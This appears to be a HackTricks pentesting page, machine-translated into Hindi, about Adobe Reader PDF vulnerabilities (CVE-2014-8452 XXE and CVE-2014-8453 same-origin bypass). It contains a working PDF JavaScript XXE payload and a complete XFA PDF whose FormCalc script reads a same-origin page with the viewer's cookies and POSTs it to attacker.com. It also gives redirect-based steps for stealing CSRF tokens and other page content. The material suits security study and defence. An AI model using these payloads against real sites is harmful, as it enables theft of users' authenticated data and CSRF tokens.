hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

13 KiB

PDF अपलोड - XXE और CORS बाईपास

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html से कॉपी किया गया सामग्री

रीडर में जावास्क्रिप्ट फ़ंक्शन का उपयोग बाहरी संबंधों से डेटा पढ़ने के लिए किया जा सकता है (CVE-2014-8452)

स्थिति: ठीक हुआ
वास्तविकता: ठीक नहीं हुआ

यह एक साधारण XXE है जिसे मैंने खोजा।
मैंने "Polyglots: Crossing Origins by Crossing Formats" नामक पेपर पढ़ा, जहां उन्होंने XMLData.parse में एक संरचना की विफलता की चर्चा की थी। इसमें बाहरी संबंधों का उपयोग करना और उन्हें संदर्भित करना संभव था।
मैंने विनिर्देशिका पढ़ी और पता चला कि "parse" से अधिक फ़ंक्शन हैं XML को पढ़ने के लिए।
मैंने एक सरल xml फ़ाइल बनाई, जिसमें समान डोमेन से एक url का संदर्भण है और उसे loadXML के साथ पार्स किया।
यह काम कर गया:

7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj


प्रभाव सीमित होता है क्योंकि
o) यह सीमित स्रोत तक ही होता है
o) HTML पेज XML को तोड़ देते हैं
o) डायनेमिक एंटिटी समर्थित नहीं हैं
o) मुझे XML संरचना को तोड़ने से बचने के लिए एक utf-16 xml का उपयोग करने की विचार था, लेकिन यह काम नहीं किया।

लेकिन इसका उपयोग अभी भी JSON पढ़ने के लिए किया जा सकता है।

Reader में Same origin policy bypass (CVE-2014-8453)

स्थिति: ठीक हुआ
वास्तविकता: ठीक हुआ लेकिन समान स्रोत अभी भी संकटग्रस्त है!

मेरी राय में यह सबसे शक्तिशाली संकटग्रस्तता है। उत्पन्नता बाइपास के बिना भी यह आपको दिखाता है
कि पीडीएफ कितना शक्तिशाली / भयानक हो सकता है।
बहुत सारे लोग जानते हैं कि पीडीएफ जावास्क्रिप्ट नामक एक स्क्रिप्टिंग भाषा का समर्थन करता है, लेकिन एक और भी है।
यह एडोब रीडर द्वारा समर्थित एक फ़ाइल प्रकार XFA में उल्लेख की गई है।
इसे फ़ॉर्मकैल्क कहा जाता है और यह इतना शक्तिशाली नहीं है। यह सरल गणितीय हिसाब के लिए उपयोग होता है। लेकिन एडोब स्पष्टीकरण में
तीन अतिरिक्त फ़ंक्शन हैं: 'GET', 'POST' और 'PUT'। हाँ, उनके नाम खुद बोलते हैं।
'GET' में एक पैरामीटर होता है: एक url। यह ब्राउज़र (हाँ कुकीज़ के साथ) का उपयोग करके url को प्राप्त करेगा और इसकी सामग्री लौटाएगा।
फिर हम इसे 'POST' का उपयोग करके वापसी सामग्री को अपने सर्वर पर भेज सकते हैं:

var content = GET("myfriends.php");
Post("http://attacker.com",content);

ये फ़ंक्शन समान स्रोत हैं, इसलिए एक वेबसाइट को हमें एक पीडीएफ अपलोड करने की आवश्यकता होती है। यह अधिकांश वेबसाइटों के लिए असंभावित नहीं है। Attacker.com समान स्रोत नहीं है, इसलिए आपको एक crossdomain.xml सेटअप करने की आवश्यकता होती है, जैसा कि एडोब उत्पादों के साथ सामान्य है।

संक्षेप में: यह एक बग नहीं है, यह एक सुविधा है। जैसे ही आपको किसी वेबसाइट पर पीडीएफ अपलोड करने की अनुमति होती है,
आप पीडीएफ देख रहे उपयोगकर्ता के संदर्भ में वेबसाइट तक पहुंच सकते हैं। क्योंकि अनुरोध ब्राउज़र द्वारा जारी किए जाते हैं,
कुकीज़ भी भेजी जाती हैं। आप इसका उपयोग करके टोकन पढ़कर किसी भी CSRF संरक्षण को भी तोड़ सकते हैं।

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>

इन फ़ंक्शन्स को खोजने के बाद, मैंने एक समान मूल नीति बाईपास खोजा है। इससे विक्टिम ब्राउज़र का उपयोग प्रॉक्सी के रूप में किया जा सकता है (@beef अभी भी मॉड्यूल पर काम कर रहा है^^)।

बाईपास बहुत ही सरल है:

  1. उपयोगकर्ता A http://attacker.com/evil.pdf से evil.pdf लोड करता है।
  2. Evil.pdf ने formcalc GET का उपयोग करके http://attacker.com/redirect.php को पढ़ने के लिए किया है।
  3. redirect.php 301 के साथ http://facebook.com पर पुनर्निर्देशित करता है।
  4. Adobe रीडर इसका पालन करेगा और crossdomain.xml की तलाश किए बिना प्रतिक्रिया को पढ़ेगा।
  5. evil.pdf http://attacker.com/log.php को POST के माध्यम से प्राप्त सामग्री भेजता है।

ध्यान दें कि इस तकनीक का उपयोग करके आप पृष्ठ के CRSF टोकन चुरा सकते हैं और CSRF vulns का दुरुपयोग कर सकते हैं।

यह सरल बाईपास अब ठीक हो गया है। मुझे आशा है कि वे समान मूल अनुरोधों के लिए एक संवाद चेतावनी का अमल करेंगे।

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥